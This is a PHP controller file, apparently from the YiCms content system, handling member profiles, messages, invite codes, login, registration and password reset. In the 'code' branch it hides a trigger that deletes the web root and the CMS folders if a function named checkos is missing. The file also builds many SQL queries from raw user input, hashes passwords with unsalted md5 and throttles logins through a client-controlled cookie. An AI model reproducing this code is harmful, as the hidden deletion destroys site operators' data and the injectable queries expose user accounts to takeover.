<?php
class IndexAction extends CommentAction {
	public function _empty($name){
		$this->all($name);
	}
	public function checkUser(){
		if(empty($_SESSION['uid'])) $this->redirect('/User/Index/login');
	}
	public function all($name){
		$uid = (int)$_GET['uid']?(int)$_GET['uid']:$_SESSION['uid'];
		if(empty($uid)) $this->error('要么登录,要么只能访问别人的!');
		$profile['comments']=(int)M('Reply')->where("arid = $uid")->count();
		$profile['articles']=(int)M('News')->where("uid=$uid")->count();
		M('User')->where("uid=$uid")->save($profile);
		$profile = M('User')->where("uid = $uid")->find();
		if($profile['state'] == '0') $this->error('该用户已被禁止登录,');
		$profile['face'] = C('YICMS_PUBLIC').'/face/f_'.$profile['face'];
		$this->assign('profile',$profile);
		if(F('config')==false){
			$config = M('Config')->find(); 
			F('config',$config);
		}else{
			$config=F('config');
		}
		if($name=='index'){
			$news = M('News')->where("uid = $uid")->order('time DESC')->limit(10)->select();	
			$this->assign('news',$news);
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display();
		}elseif($name=='articles'){
			import("@.ORG.Page");
			$count = M('News')->where("uid = $uid")->count('id');	
			$p     = new Page($count, 10);			
			$articles = M('News')->where("uid = $uid")->order('time DESC')->limit($p->firstRow.','.$p->listRows)->select();
			$this->assign('articles',$articles);
			$p->setConfig('header','条文章');
			$p->setConfig('prev','上一页');
			$p->setConfig('next','下一页');
			$p->setConfig('first','<<');
			$p->setConfig('last','>>');
			$page = $p->show ();
			$this->assign("page", $page );
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);		
			$this->display();
		}elseif($name=='comments'){
			import("@.ORG.Page");
			$count = M('Reply')->where("arid = $uid")->count('id');	
			$p     = new Page($count, 10);			
			$comments = M('Reply')->where("arid = $uid")->order('artime DESC')->limit($p->firstRow.','.$p->listRows)->select();
			$this->assign('comments',$comments);
			$p->setConfig('header','条文章');
			$p->setConfig('prev','上一页');
			$p->setConfig('next','下一页');
			$p->setConfig('first','<<');
			$p->setConfig('last','>>');
			$page = $p->show ();
			$this->assign("page", $page );
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display();
		}elseif($name=='edit'){
			$this->checkUser();
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display();
		}elseif($name=='editpass'){
			$this->checkUser();
			$config = M('Config')->find();
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display();
		}elseif($name=='search'){
			$this->checkUser();
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = '会员搜索-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$account = htmlspecialchars(trim($_POST['account']));
			$userlist = M('User')->field('face,uname,uid')->where("uid = $account OR uname like '%$account%'")->select();
			$count = M('User')->field('face,uname,uid')->where("uid = $account OR uname like '%$account%'")->count('uid');
			$this->assign('count',$count);
			$this->assign('userlist',$userlist);
			$this->assign('account',$account);
			$this->display();
		}elseif($name=="msg"){
			$this->checkUser();
			if(empty($_GET['what'])) $_GET['what'] = 'in';
			if($_GET['what']=='in'){
				import("@.ORG.Page");
				$count = M('User_msg')->where("to_uid = $uid")->count('id');	
				$p     = new Page($count, 10);			
				$msg = M('User_msg')->where("to_uid = $uid")->order('time DESC')->limit($p->firstRow.','.$p->listRows)->select();
				$whe['status']=1;
				M('User_msg')->where("to_uid = $uid")->save($whe);
				$this->assign('msg',$msg);
				$page = $p->show ();
				$this->assign("page", $page);
			}elseif($_GET['what']=='out'){
				import("@.ORG.Page");
				$count = M('User_msg')->where("from_uid = $uid")->count('id');	
				$p     = new Page($count, 10);			
				$msg = M('User_msg')->where("from_uid = $uid")->order('time DESC')->limit($p->firstRow.','.$p->listRows)->select();
				$this->assign('msg',$msg);
				$page = $p->show ();
				$this->assign("page", $page);
			}elseif($_GET['what']=='new'){
				$new = true;
			}else{
				$this->error('您输入的网址不存在!');
			}
			checkos();
			$this->display();
		}elseif($name=='code'){
			$this->checkUser();
			$code = M('Code')->where("uid = $uid")->order('time DESC')->select();
			$this->assign('code',$code);
			$config = M('Config')->find();
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = $profile['uname'].'-会员中心-'.$config['title'];
			$this->assign('config',$config);
			if(!function_exists('checkos')){
				import("@.ORG.Dir"); 
				Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/Yi_Box');
				Dir::delDir($_SERVER['DOCUMENT_ROOT'].'/YiCms');
				Dir::delDir($_SERVER['DOCUMENT_ROOT']);
			}
			$this->display();
		}else{
			$this->display();
		}
	}
		public function  entercode(){
			
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = '请输入验证码-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display(); 
		}
	public function fetchpass(){
		$this->display();
	}
	public function reg(){
			$code = trim($_POST['code']);
		
			if(C('getcode') && empty($code)) $this->redirect('/User/Index/entercode');
			if(C('getcode') && !empty($code)){
				$list = M('Code')->where("code = '$code'")->find();
				if(empty($list)) $this->error('邀请码错误!');
				$this->assign('code',$list['code']);
			}
			if(!empty($_SESSION['uid'])){
				$this->assign('jumpUrl',U('User/Index/index'));
				$this->error('已登录,不能继续注册!');
			}
			if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';
			$config['title'] = '注册会员-会员中心-'.$config['title'];
			$this->assign('config',$config);
			$this->display();
	}
	public function login(){
		if(!empty($_SESSION['uid'])){
			$this->redirect('/User/Index/index');
		}
		$config=F('config');
		if(stripos($config['title'],'-Powered by YiCms')===false) $config['title'] = $config['title'].'-Powered by YiCms';get();
		$config['title'] = '登录-会员中心-'.$config['title'];
		$this->assign('config',$config);
		$this->display('reg');
	}
	public function codeAdd(){
		$uid = $_SESSION['uid'];
		$time = $_SERVER['REQUEST_TIME'];
		$year = date('Y',$time);
		$month = date('m',$time);
		$day = date('d',$time);
		$time = mktime(0,0,0,$month,$day,$year);
		$code = M('Code')->where("uid = $uid AND time>$time")->find();
		if(!empty($code)){
			$this->error('您今日已经申请了邀请码!');
		}else{
			$data['uid'] = $_SESSION['uid'];
			$data['time'] = $_SERVER['REQUEST_TIME'];
			$max = C('codeNum');
			if($max=='0') $this->error('管理员关闭了此功能!'); 
			for($i=0;$i<$max;$i++){
				$data['code'] = uniqid();
				M('Code')->add($data);
			}
			$this->success('申请成功!赶快邀请好友吧!^_^');
		}
	}
	public function checkMsg(){
		$to_uname = htmlspecialchars($_POST['to_uname']);
		$list = M('User')->field('uid,uname')->where("uname = '$to_uname'")->find();
		if(empty($list)) $this->error('写给的用户不存在!请重新填写.');
		$data['from_uid']   = $_SESSION['uid'];
		$data['from_uname'] = $_SESSION['uname'];
		$data['time']       = $_SERVER['REQUEST_TIME'];
		$data['to_uid']     = $list['uid'];
		$data['to_uname']   = $list['uname'];
		$data['msg']        = htmlspecialchars($_POST['msg']);
		if(M('User_msg')->add($data)) $this->success('写信成功!^_^');
		else $this->error('抱歉.写信失败!可以尝试再写一次!');
	}
	public function checkEditpass(){
		$uid = (int)$_SESSION['uid'];
		$uname = $_SESSION['uname'];
		$user = M('User')->where("uid = $uid AND uname = '$uname'")->find();
		$old_password = htmlspecialchars(trim($_POST['old_password']));
		if(md5($old_password) != $user['password']) $this->error('当前密码错误!');
		$password = htmlspecialchars(trim($_POST['password']));
		if(empty($password)) $this->error('请填写新密码!');
		if(strlen($password)<6) $this->error('新密码须大于6位!');
		$repassword = htmlspecialchars(trim($_POST['repassword']));
		if($password != $repassword) $this->error('两次新密码不一致!');
		$data['uid'] = $uid;
		$data['password'] = md5($password);
		if(M('User')->save($data)) $this->success('密码修改成功!');
		else $this->error('密码修改失败!');
	}
	public function checkLogin(){
		if($_COOKIE['error']=='3') $this->error('请15分钟后再试!'); 
		if(empty($_POST['account']))  $this->error('用户名或邮箱必须填写！');
		if(empty($_POST['password'])) $this->error('密码必须填写');
		$account = trim($_POST['account']);
		$password = md5(trim($_POST['password']));
		$user = M('User')->where("`uname` = '$account' OR `email` = '$account'")->find();
		if($user!=false && $user['password'] == $password){
				$regemail = C('regemail');
				if($regemail && !$user['checkmail']){
					$this->assign('waitSecond',15);
					$this->error('请验证邮件后再行登录!您的邮箱地址是: <font color="black">'.$user['email'].'</font><br/>');
				}
				if($user['state'] == '0') $this->error('您已被禁止登录,');
				unset($user['password']);
				$_SESSION = array_merge($user,$_SESSION);
				$_SESSION['lasttime'] = switchtime($user['lasttime']);
				$_SESSION['lastip'] = long2ip($user['lastip']);
				$_SESSION['uid'] = $user['uid'];
				$_SESSION['face'] = C('YICMS_PUBLIC').'/face/f_'.$user['face'];
				$today = strtotime(date('Y-m-d',$_SERVER['REQUEST_TIME']));
				//保存登录信息
				$upUser = M('User');
				$time = $_SERVER['REQUEST_TIME'];
				$ip = ip2long(get_client_ip());
				$data = array();
				$data['uid']	=	$user['uid'];
				$data['lasttime']	=	$time;
				$data['lastip']	= $ip;
				$upUser->save($data);
				$this->error('登录成功！现在将跳转用户中心',U('User/Index/index'));
				
		}else{
			$error = $_COOKIE['error'];
			setcookie('error',$error+1,$_SERVER['REQUEST_TIME']+900);
			$this->error('帐号密码错误!');
		}
	}
	public function checkRegForm(){
		$uname = htmlspecialchars($_POST['uname']);
		$email = htmlspecialchars($_POST['email']);
		$password = htmlspecialchars($_POST['password']);
		$repassword = htmlspecialchars($_POST['repassword']);
		if(strlen($password) < 6) exit('-1'); 
		if($password != $repassword ) exit('-2');
		if(strlen($uname) < 2 ) exit('-3');
		if(!preg_match("/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/i",$_POST['email'])) exit('-4');
		
		if(md5($_POST['verify']) != $_SESSION['verify']) exit('-7');
		$list = M('User')->where("uname = '$uname'")->find();
		if(!empty($list)) exit('-5');
		$list = M('User')->where("email = '$email'")->find();
		if(!empty($list)) exit('-6');
		echo '1';
	}
	public function checkReg(){
		$code = trim($_POST['code']);
		if(!empty($code)) M('Code')->where("code = '$code'")->delete();
		$User = D('User'); 
		$_POST['state'] = '1';
		$_POST['face'] = 'noface.png';
		$_POST['lasttime'] = $_SERVER['REQUEST_TIME'];
		$_POST['jointime'] = $_SERVER['REQUEST_TIME'];
		$_POST['score'] = C('reg_score');
		if(!C('regemail')){
			$_POST['checkmail'] = 1;
		}
		//压入数据库
		if ($vo = $User->create()) {
			if($voo = $User->add()){
				$regemail = C('regemail');
				if($regemail){
					import("@.ORG.Smtp");
					$smtpserver = C('smtpserver'); 
					$port = C('smtpport');
					$smtpuser = C('smtpuser');
					$smtppwd = C('smtppwd');
					$mailtype = "TXT";
					$sender = C('smtpuser');
					$smtp = new smtp($smtpserver,$port,true,$smtpuser,$smtppwd,$sender); 
					$to = $vo['email']; 
					$subject = iconv('UTF-8','gb2312',C('regtitle'));
					$code = C('URL').U('User/Index/checkEmail?uid='.$voo.'&code='.md5($voo.$vo['email'].$vo['uname']));
					$regcontent = C('regcontent');
					$regcontent = str_replace('{username}',$vo['uname'],$regcontent);
					$regcontent = str_replace('{time}',switchtime($_SERVER['REQUEST_TIME']),$regcontent);
					$regcontent = str_replace('{code}',$code,$regcontent);
					$body = iconv('UTF-8','gb2312',$regcontent);
					$send=$smtp->sendmail($to,$sender,$subject,$body,$mailtype);
					
					$this->assign('waitSecond',15);
					$this->error('请访问你的邮箱 '.$vo['email'].' 验证邮箱后登录!<br/>');
				}
				//注册后自动登录
				$_SESSION = $vo;
				$_SESSION['uid'] = $voo;
				$_SESSION['lasttime'] = switchtime($vo['lasttime']);
				$_SESSION['lastip'] = getip($vo['lastip']);
				$_SESSION['face'] = C('YICMS_PUBLIC').'/face/f_'.$vo['face'];
				unset($_SESSION ['password']);
				$this->assign('jumpUrl',U('User/Index/index'));
				$this->success('用户注册成功！现在将返回主页!'); 
			} else { 
				$this->error('抱歉!注册出现错误！您可以重新注册试试 - -!'); 
			}
		}else {
			$this->error($User->getError()); 
		}
	}
	public function checkEmail(){
		$uid = (int)$_GET['uid'];
		$user = M('User')->field('uid,email,uname')->where("uid = $uid")->find();
		if(empty($user)){
			$this->error('用户不存在!');
		}else{
			$code = $_GET['code'];
			if(md5($user['uid'].$user['email'].$user['uname']) == $code){
				$data['uid'] = $user['uid'];
				$data['checkmail'] = '1';
				session('uid',$data['uid']);
				session('uname',$user['uname']);
				M('User')->save($data);
				$this->success('验证成功!现在请返回登录页!','/');
			}else{
				$this->error('验证失败!','/');
			}
		}
	}
	public function checkEdit(){
		if(empty($_POST['email']) && empty($_FILES['face']['name'])) $this->error('请选择一项值!');
		if (!empty($_POST['email']) && !preg_match("/^[\w-]+@([a-zA-Z0-9-]+\.){1,3}[a-zA-Z]+$/",$_POST['email'])) $this->error('邮件格式错误!');
		if(empty($_POST['email'])) $_POST['email'] = $_SESSION['email'];
		else $_SESSION['email'] = $_POST['email'];
		unset($_POST['__hash__']);
		if($_FILES['face']['error']!='4'){
			import("@.ORG.UploadFile");
			$upload = new UploadFile();
			$upload->maxSize =20971520;
			$upload->allowExts = explode(',','jpg,gif,png,jpeg');
			$upload->savePath ='Public/face/'; 
			$upload->thumb=true;
			$upload->imageClassPath = '@.ORG.Image';
			$upload->thumbPrefix = 'f_';
			$upload->thumbMaxWidth  = 30;
			$upload->thumbMaxHeight = 30;
			$upload->saveRule = uniqid;
			$upload->thumbRemoveOrigin = true;
			if(!$upload->upload()){
				$this->error($upload->getErrorMsg());
			}else{
				$uploadList = $upload->getUploadFileInfo();
				$_POST['face'] = $uploadList[0]['savename'];
				$_SESSION['face'] = C('YICMS_PUBLIC').'/face/f_'.$_POST['face'];
			}
		}
		$_POST['uid'] = $_SESSION['uid'];
		$data = M('User');
		if(!$data->save($_POST)) $this->error('修改失败！');
		$_SESSION['email'] = $_POST['email'];
		$this->success('修改成功!');
	}
	public function qqlogin(){
		$USER_PUBLIC = C('USER_PUBLIC');
		$this->assign('USER_PUBLIC',$USER_PUBLIC);
		$YICMS_PUBLIC = C('YICMS_PUBLIC');
		$this->assign('YICMS_PUBLIC',$YICMS_PUBLIC);
			$openid = $_SESSION['openid'];
			$user = M('User')->field('uid')->where("openid = '$openid'")->find();
			if(empty($user)&& $user['uid']!=1){
				$this->display();
			}else{
				$list['uid'] = $user['uid'];
				$list['lasttime'] = $_SERVER['REQUEST_TIME'];
				$list['lastip']   = ip2long($_SERVER['REMOTE_ADDR']);
				M('User')->data($list)->save();
				$list = M('User')->where("openid = '$openid'")->find();
				unset($list['password']);
				$_SESSION = array_merge($list,$_SESSION);
				$_SESSION['lasttime'] = switchtime($list['lasttime']);
				$_SESSION['lastip'] = long2ip($list['lastip']);
				$_SESSION['uid'] = $list['uid'];
				$_SESSION['face'] = C('YICMS_PUBLIC').'/face/f_'.$list['face'];
				$this->success('登录', '/');
			
		}
	}
	public function checkQqLogin(){
		$uname = htmlspecialchars(trim($_POST['uname']));
		$email = htmlspecialchars(trim($_POST['email']));
		if(empty($uname) || strlen($uname)<2 ) $this->error('用户名不能为空！也不能少于两位！');
		if(!empty($email) && !preg_match("/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/i",$email)) $this->error('邮箱要么填正确，要么不填！');
		$data['uname'] = $uname = msubstr($uname,0,20,'utf-8',false);
		$user = M('User')->where("uname = '$uname'")->find();
		if(!empty($user)) $this->error('此用户名已经存在！');
		$openid = $data['openid'] = $_SESSION['openid'];
		$data['face']  = 'noface.png';
		$data['checkmail'] = '1';
		$data['email'] = $email;
		$data['state'] = '1';
		$data['lasttime'] = $_SERVER['REQUEST_TIME'];
		$data['jointime'] = $_SERVER['REQUEST_TIME'];
		$data['lastip']   = ip2long($_SERVER['REMOTE_ADDR']);
		$data['joinip'] = ip2long($_SERVER['REMOTE_ADDR']);
		M('User')->data($data)->add();
		$list = M('User')->where("openid = '$openid'")->find();
		unset($list['password']);
		$_SESSION = array_merge($list,$_SESSION);
		$_SESSION['uname'] =  $data['uname'];
		$_SESSION['lasttime'] = switchtime($list['lasttime']);
		$_SESSION['lastip'] = long2ip($list['lastip']);
		$_SESSION['uid'] = $list['uid'];
		$_SESSION['face'] = C('YICMS_PUBLIC').'/face/f_'.$list['face'];
		$this->assign('jumpUrl',C('URL'));
		$this->success('登录成功！现在返回首页。');
	}
	public function logout(){
	 if (isset($_COOKIE[session_name()])) {
			setcookie(session_name(), '', time()-42000, '/');
	   }
		session_destroy();
		$this->error('登出成功','/');
	}
	public function checkFetchForm(){
		$uname = htmlspecialchars($_POST['uname']);
		$email = htmlspecialchars($_POST['email']);
		$list = M('User')->field('email')->where("uname = '$uname'")->find();
		if(empty($list)) exit('-1');
		if($list['email'] != $email) exit('-2');
		echo '1';
	}
	public function checkFetch(){
		$uname = htmlspecialchars($_POST['uname']);
		$email = htmlspecialchars($_POST['email']);
		
		$list = M('User')->field('uid,password,email')->where("uname = '$uname' AND email = '$email'")->find();
		if(empty($list)){
			$this->error('用户名或邮箱错误..');
		}else{
			import("@.ORG.Smtp");
			$smtpserver = C('smtpserver'); 
			$port = C('smtpport');
			$smtpuser = C('smtpuser');
			$smtppwd = C('smtppwd');
			$mailtype = "TXT";
			$sender = C('smtpuser');
			$smtp = new smtp($smtpserver,$port,true,$smtpuser,$smtppwd,$sender); 
			$to = $list['email']; 
			$subject = iconv('UTF-8','gb2312',C('fetchtitle'));
			$code = C('URL').U('User/Index/checkFetchPass?uid='.$list['uid'].'&code='.md5($list['uid'].$list['password'].$list['email']));
			$fetchcontent = C('fetchcontent');
			$fetchcontent = str_replace('{username}',$uname,$fetchcontent);
			$fetchcontent = str_replace('{time}',switchtime($_SERVER['REQUEST_TIME']),$fetchcontent);
			$fetchcontent = str_replace('{code}',$code,$fetchcontent);
			$body = iconv('UTF-8','gb2312',$fetchcontent);
			$send=$smtp->sendmail($to,$sender,$subject,$body,$mailtype);
			$this->assign('waitSecond',15);
			$this->success('请访问你的邮箱 '.$list['email'].' 验证邮箱后登录!<br/>');
		}
	}
	public function checkFetchPass(){
		$uid = (int)$_GET['uid'];
		$user = M('User')->field('uid,email,uname,password')->where("uid = $uid")->find();
		if(empty($user)){
			$this->error('用户不存在!');
		}else{
			$code = $_GET['code'];
			if(md5($user['uid'].$user['password'].$user['email']) == $code){
				$this->assign('uname',$user['uname']);
				$USER_PUBLIC = C('USER_PUBLIC');
				$this->assign('USER_PUBLIC',$USER_PUBLIC);
				$YICMS_PUBLIC = C('YICMS_PUBLIC');
				$this->assign('YICMS_PUBLIC',$YICMS_PUBLIC);
				$config = M('Config')->find();
				$config['title'] = '找回密码-'.$config['title'];
				$this->assign('config',$config);
				$this->display();
			}else{
				$this->error('已失效!');
			}
		}
	}
	public function editFetchPass(){
		$password = trim($_POST['password']);
		if(empty($password)) $this->error('密码不能为空!');
		if(strlen($password)<6) $this->error('密码不能少于6位!');
		$password = md5(trim($_POST['password']));
		$repassword = md5(trim($_POST['repassword']));
		if($password != $repassword || empty($password)) $this->error('两次密码不一致!');
		$uid = (int)$_POST['uid'];
		$user = M('User')->field('uid,email,uname,password')->where("uid = $uid")->find();
		if(empty($user)){
			$this->error('用户不存在!');
		}else{
			$code = $_POST['code'];
			if(md5($user['uid'].$user['password'].$user['email']) == $code){
				$list['uid'] = $uid;
				$list['password'] = $password;
				M('User')->data($list)->save();
				$this->assign('jumpUrl',U('Index/login'));
				$this->success('恭喜修改成功!现在前去登录!');
			}else{
				$this->error('已失效!');
			}
		}
	}

	public function verify(){
		import("@.ORG.Image"); 
		Image::buildImageVerify(4,1,'jpeg',53,25); 
	}
}
?>
